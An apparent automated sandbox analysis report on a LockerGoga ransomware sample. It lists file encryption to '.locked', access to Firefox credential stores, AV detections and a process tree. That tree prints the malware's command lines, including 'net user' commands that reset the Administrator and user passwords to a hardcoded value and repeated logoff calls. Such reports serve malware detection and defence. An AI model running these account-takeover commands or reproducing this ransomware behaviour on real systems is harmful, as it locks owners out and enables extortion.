Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\ZGGKNSUKOP.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\NWCXBPIUYI.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\EIVQSAOTAQ\KLIZUSIQEN.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EIVQSAOTAQ\QCOILOQIKC.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\QCOILOQIKC.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EOWRVPQCCS\GIGIYTFFYT.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\secmod.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\sessionstore-backups\previous.js VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\ZGGKNSUKOP\KLIZUSIQEN.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\QCOILOQIKC.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\DUUDTUBZFW\EOWRVPQCCS.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\EWZCVGNOWT.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\EOWRVPQCCS.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\EIVQSAOTAQ\EIVQSAOTAQ.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\JDDHMPCDUJ.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EWZCVGNOWT\NWCXBPIUYI.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EOWRVPQCCS.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EOWRVPQCCS\EIVQSAOTAQ.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EIVQSAOTAQ\KLIZUSIQEN.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\KLIZUSIQEN.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\ZGGKNSUKOP\EWZCVGNOWT.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\EWZCVGNOWT\JDDHMPCDUJ.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\EIVQSAOTAQ.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert8.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\GIGIYTFFYT.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EWZCVGNOWT\EWZCVGNOWT.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW\DUUDTUBZFW.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EIVQSAOTAQ\EIVQSAOTAQ.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\key3.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\EWZCVGNOWT\NWCXBPIUYI.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\EIVQSAOTAQ\QCOILOQIKC.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Documents\EWZCVGNOWT\EWZCVGNOWT.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\prefs.js VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\NWCXBPIUYI.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EIVQSAOTAQ.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EOWRVPQCCS.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\EIVQSAOTAQ.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW\EOWRVPQCCS.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW\ZGGKNSUKOP.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\IconCache.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\opatchinstall(3).log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\ProgramData\Microsoft\OFFICE\UICaptions\1036\WWINTL.DLL.trx_dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Roaming\.jre\bin\prism_sw.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\NTUSER.DAT{6cced2f1-6e01-11de-8bed-001e0bcd1824}.TM.blf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Queries volume information: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\22qkc0w7.default\cache2\entries\D85795856A15100A0C45C075CFB29C4FC314C2EE VolumeInformation

Queries time zone information

Show sources

Source: C:\Windows\System32\net1.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias

Jump to behavior

Contains functionality to query local / system time

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe

Code function: 0_2_000EE393 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_000EE393

Contains functionality to query time zone information

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Code function: 23_2_0012447F _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

23_2_0012447F

Contains functionality to query windows version

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Code function: 23_2_000F3E94 GetVersionExW,Concurrency::details::platform::InitializeSystemFunctionPointers,Concurrency::details::WinRT::Initialize,__CxxThrowException@8,

23_2_000F3E94

Queries the cryptographic machine GUID

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Overwrites Mozilla Firefox settings

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\blocklist.xml.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\blocklist.xml.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\secmod.db.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\secmod.db.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\sessionstore-backups\previous.js.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\sessionstore-backups\previous.js.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert8.db.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert8.db.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\key3.db.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\key3.db.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\prefs.js.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\prefs.js.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\22qkc0w7.default\cache2\entries\D85795856A15100A0C45C075CFB29C4FC314C2EE.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File written: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\22qkc0w7.default\cache2\entries\D85795856A15100A0C45C075CFB29C4FC314C2EE.locked

Stealing of Sensitive Information:

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\22qkc0w7.default\cache2\entries\D85795856A15100A0C45C075CFB29C4FC314C2EE
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert8.db
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: \C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\22qkc0w7.default\cache2\entries\D85795856A15100A0C45C075CFB29C4FC314C2EE.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\secmod.db
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\sessionstore-backups\previous.js
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\prefs.js
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\key3.db
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: \C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\secmod.db.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\blocklist.xml
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: \C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\key3.db.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: \C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\blocklist.xml.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: \C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\prefs.js.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: \C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\sessionstore-backups\previous.js.locked
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: \C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\22qkc0w7.default\cert8.db.locked

Remote Access Functionality:

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00051400 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,	23_2_00051400
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000520F0 __ehhandler$??1_Scoped_lock@?$SafeRWList@UListEntry@details@Concurrency@@VNoCount@CollectionTypes@23@V_ReaderWriterLock@23@@details@Concurrency@@QAE@XZ,	23_2_000520F0
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000FE7B8 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	23_2_000FE7B8
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000FF48A Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,	23_2_000FF48A

Signature Similarity

Sample Distance (10 = nearest)

10 9 8 7 6 5 4 3 2 1

Similar Samples

Samplename	Analysis ID	SHA256	Similarity

Behavior Graph

Simulations

Behavior and APIs

Time	Type	Description
10:10:07	API Interceptor	5907x Sleep call for process: LockerGogaRecent.exe modified
10:10:08	API Interceptor	12x Sleep call for process: tgytutrc3979.exe modified
10:10:08	API Interceptor	6x Sleep call for process: logoff.exe modified
10:10:09	API Interceptor	2x Sleep call for process: net1.exe modified

Antivirus Detection

Initial Sample

Source	Detection	Scanner	Label	Link
LockerGogaRecent.exe	62%	virustotal		Browse
LockerGogaRecent.exe	22%	metadefender		Browse
LockerGogaRecent.exe	100%	Avira	TR/LockerGoga.qnfzd

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Startup

System is w7_1

LockerGogaRecent.exe (PID: 2644 cmdline: 'C:\Users\user\Desktop\LockerGogaRecent.exe' MD5: E11502659F6B5C5BD9F78F534BC38FEA)

cmd.exe (PID: 2188 cmdline: C:\Windows\system32\cmd.exe /c move /y C:\Users\user\Desktop\LockerGogaRecent.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe MD5: AD7B9C14083B52BC532FBA5948342B98)

tgytutrc3979.exe (PID: 2344 cmdline: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -m MD5: E11502659F6B5C5BD9F78F534BC38FEA)

logoff.exe (PID: 2300 cmdline: C:\Windows\system32\logoff.exe MD5: 7BF2B91D4F9B26409974A93E63E5E895)

logoff.exe (PID: 2492 cmdline: C:\Windows\system32\logoff.exe MD5: 7BF2B91D4F9B26409974A93E63E5E895)

logoff.exe (PID: 2452 cmdline: C:\Windows\system32\logoff.exe MD5: 7BF2B91D4F9B26409974A93E63E5E895)

logoff.exe (PID: 2656 cmdline: C:\Windows\system32\logoff.exe MD5: 7BF2B91D4F9B26409974A93E63E5E895)

logoff.exe (PID: 2768 cmdline: C:\Windows\system32\logoff.exe MD5: 7BF2B91D4F9B26409974A93E63E5E895)

logoff.exe (PID: 2792 cmdline: C:\Windows\system32\logoff.exe MD5: 7BF2B91D4F9B26409974A93E63E5E895)

net.exe (PID: 2880 cmdline: C:\Windows\system32\net.exe user Administrator HuHuHUHoHo283283@dJD MD5: B9A4DAC2192FD78CDA097BFA79F6E7B2)

net1.exe (PID: 2876 cmdline: C:\Windows\system32\net1 user Administrator HuHuHUHoHo283283@dJD MD5: 2041012726EF7C95ED51C15C56545A7F)

net.exe (PID: 1300 cmdline: C:\Windows\system32\net.exe user user HuHuHUHoHo283283@dJD MD5: B9A4DAC2192FD78CDA097BFA79F6E7B2)

net1.exe (PID: 2488 cmdline: C:\Windows\system32\net1 user user HuHuHUHoHo283283@dJD MD5: 2041012726EF7C95ED51C15C56545A7F)

tgytutrc3979.exe (PID: 684 cmdline: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s MD5: E11502659F6B5C5BD9F78F534BC38FEA)

tgytutrc3979.exe (PID: 4064 cmdline: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s MD5: E11502659F6B5C5BD9F78F534BC38FEA)

tgytutrc3979.exe (PID: 304 cmdline: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s MD5: E11502659F6B5C5BD9F78F534BC38FEA)

tgytutrc3979.exe (PID: 1772 cmdline: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s MD5: E11502659F6B5C5BD9F78F534BC38FEA)

tgytutrc3979.exe (PID: 3956 cmdline: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s MD5: E11502659F6B5C5BD9F78F534BC38FEA)

tgytutrc3979.exe (PID: 3020 cmdline: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s MD5: E11502659F6B5C5BD9F78F534BC38FEA)

tgytutrc3979.exe (PID: 1340 cmdline: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s MD5: E11502659F6B5C5BD9F78F534BC38FEA)

tgytutrc3979.exe (PID: 3248 cmdline: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s MD5: E11502659F6B5C5BD9F78F534BC38FEA)

tgytutrc3979.exe (PID: 3068 cmdline: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s MD5: E11502659F6B5C5BD9F78F534BC38FEA)

tgytutrc3979.exe (PID: 2688 cmdline: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s MD5: E11502659F6B5C5BD9F78F534BC38FEA)

tgytutrc3979.exe (PID: 2692 cmdline: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s MD5: E11502659F6B5C5BD9F78F534BC38FEA)

cleanup

Created / dropped Files

C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\ExcelMUI.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1713
Entropy (8bit):	7.893195844524573
Encrypted:	false
MD5:	3CCEBA48EAF051AE72668932E31EBBB1
SHA1:	E35868255262B8FC3DB6BE52BAAD960B54150EED
SHA-256:	8476A2D030563871402CC4B7DCBD71D6E5A7C8B8A5A99ABDABD8494A60198C76
SHA-512:	31583AD311E3B9BCE293A2C24DFAE4BE28B5858E028DFB4C4150D4FFB1F3244709C9256143E69DB0CCCDD73279EEE4D5082145468AE8FFF8E6338EF735DA1039
Malicious:	false
Reputation:	low

C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\Setup.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	2444
Entropy (8bit):	7.926481642952792
Encrypted:	false
MD5:	E4CE183E1ED37FC2956B351A990C98FF
SHA1:	A113EF48E0952F37AD27EBC35116E7EC0CD4787A
SHA-256:	AF611B176E316AACC62AB4771054F58562488869E7D419F5E1E977B34F27CFC4
SHA-512:	E4583BD255C403546B13D0C20A39E4DA4760350BFD770ADD6C50506D513347B4B225533830DA55F5E1FFC48B43D4EC8988179FB929583654E90696AC7EF527AB
Malicious:	false
Reputation:	low

C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\PowerPointMUI.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1705
Entropy (8bit):	7.889732097037746
Encrypted:	false
MD5:	1E067435F3757F95DD6D963FF5BE8D70
SHA1:	2C9EE70E97C62A0C2A7CDA8C015633A6D2F7CDA3
SHA-256:	4DF53F3C55FC731BF37D9E69A3CB2580A7EFFC6D3551C0295B24A894D4FC5347
SHA-512:	250A2CB0721BE2F7C298B1A4F88CDF184A73425C609407DC5CB2F45A10F4376CA84F73E804815C31361183E6D22527A68610707313F1753ADFFFF733C57DE2AF
Malicious:	false

C:\MSOCache\All Users\{90140000-0018-0409-0000-0000000FF1CE}-C\Setup.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	2034
Entropy (8bit):	7.892382776946426
Encrypted:	false
MD5:	D402A095F096CD7119D844C0B25F20FD
SHA1:	2C64261088B33A9ADD6F039EB024FFF9BC13C3B4
SHA-256:	8BB686A12E9FA74D3EBB4545AC80E82ADCEA69ADB5EB60680C47D580BB370625
SHA-512:	22041176EEC5A32CB1D2D242A2B2578EC1E61E3B3BB0D4508C732BF9AFBA123D05156331222E2BF202F2BA5EABBC3A899CF406FB11E42BCA81E51CED9DE99BED
Malicious:	false

C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\PublisherMUI.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1598
Entropy (8bit):	7.876127529922915
Encrypted:	false
MD5:	048125BB6FEC6E364185FE22C4700AC1
SHA1:	01707CE5636467B233F0AE088CF5BF7B064C7BBF
SHA-256:	BA7E9613594A1738E2AC7C20E673803AC973C6C80EF1E8323EDD58107218CBAA
SHA-512:	7C9F5E3423331DA98DB6912F99C0C0C7819C206F78FA1F53356A735B6E2B6B4CA30F4EBC33CEE6BF5E16FDFDA8C1266CA7C4E8DD2EDE881F5B24160BE959DC99
Malicious:	false

C:\MSOCache\All Users\{90140000-0019-0409-0000-0000000FF1CE}-C\Setup.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1756
Entropy (8bit):	7.8751525704858905
Encrypted:	false
MD5:	18229F4D1A3FD45A0E2540A7DC8EB538
SHA1:	67885790F0B1F97B4114A9658D51D5907D572A66
SHA-256:	6CE49167AF72A12074E030729849BD571C13432306405E7D2423F75B6E9C8D7C
SHA-512:	CE291631B478606E81511844C0A1F431765BC84EA90D4DECDC02157CEF24EE37E70D0F8C1EF67DC12953B0902B3C40F3F586DCDFCCE854A2762F1474CD6CC9A1
Malicious:	false

C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\OutlookMUI.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	3334
Entropy (8bit):	7.941800062641127
Encrypted:	false
MD5:	2519B29B662E431EEAD26C3489A60FD3
SHA1:	A98DA02D543A8B57B5FEC460E9184BCB1C0709D7
SHA-256:	7C48375D4E0B98CED1B17662DEC06B164827C8A5643592D328FE28068C61CE7C
SHA-512:	A418CC2F4EB2E92D267B78B39541EE42F3003C1C3315CD2C3DED7BE8239BDB2DDD5A03A1098A663AE86954E7F78A16CB76CA7C2590C62930DF83F318D60365DF
Malicious:	false

C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\Setup.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	4355
Entropy (8bit):	7.953913576899447
Encrypted:	false
MD5:	99B8F3AB8FD2F93EC507E6FB970427F3
SHA1:	8FB70C706005E61278E31D4E476390CFAA2D6CEA
SHA-256:	BCAD0B9657E3F74CF1093F935229E2BE03EE0EC158A18424370ED5A43B4DA93F
SHA-512:	34A7D12FB15FEDBF916528CDE92F62B4651B07E33EB5C31EC9010B7E9E641ECC704A21A76FE9EA82D9955361CD9BD697D1EC707B2F9BDFA2CFC0E814F7DF5B57
Malicious:	false

C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\Setup.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	2572
Entropy (8bit):	7.922469879390369
Encrypted:	false
MD5:	02EF9704308C282ECCA691B50DD1ADFA
SHA1:	D9FBA64BE5E44870230D4A38F4DB3892A1FA4C57
SHA-256:	610E3F414CBE52184528300D417788AE0C788CBE7EAB8580268E9F5406D60AFF
SHA-512:	36CD9A6A4AA44D0AA9E604F9259C2092C4961A030A148D957D8D9509CB5CA2D3855419AAD7BD29C13680CB23CBA7AC73ED571434A8AA9765B5A9BFFF1AB717B3
Malicious:	false

C:\MSOCache\All Users\{90140000-001B-0409-0000-0000000FF1CE}-C\WordMUI.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1948
Entropy (8bit):	7.89077039299442
Encrypted:	false
MD5:	A453A409B389F4BAD2C86E669692C39C
SHA1:	054855E6ED54E3258C79D6F4BF6BBFF52E9C0998
SHA-256:	4FBA6E61F710BE49DE67F536EE0241E9A75F6856432A3481E3A37D7C5A24096A
SHA-512:	95A2483F5A5B3F4245568BB83CBBDF60051ABA60D7888C968AB1D92234770C7828BD2BED75DA3D1B3CFED6FB70FA4874E8BA164A3B92D60108FC974E96751772
Malicious:	false

C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.en\Proof.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1495
Entropy (8bit):	7.848271934876535
Encrypted:	false
MD5:	EFD279E58A5CB4A454EEDCDD7F579FFA
SHA1:	1ABB1A4CA45E34D274A7DD9CCC31FAEB3660293B
SHA-256:	01F4D92BFCC818453B38DD2B85D72A26F2B1E582D3BE521B0BF1C9860523B0CD
SHA-512:	03ABC5B78D9B874A1DED2926C115586E3A404A780C0F6587C5920D750F17271AE34629AA959B5CE413AC52DFFBBCDE71F3DD7505341BBFDDEFCDFCAA611F77DB
Malicious:	false

C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.es\Proof.xml.locked Download File
Process:	C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe
File Type:	data
Size (bytes):	1605
Entropy (8bit):	7.888909686833715
Encrypted:	false
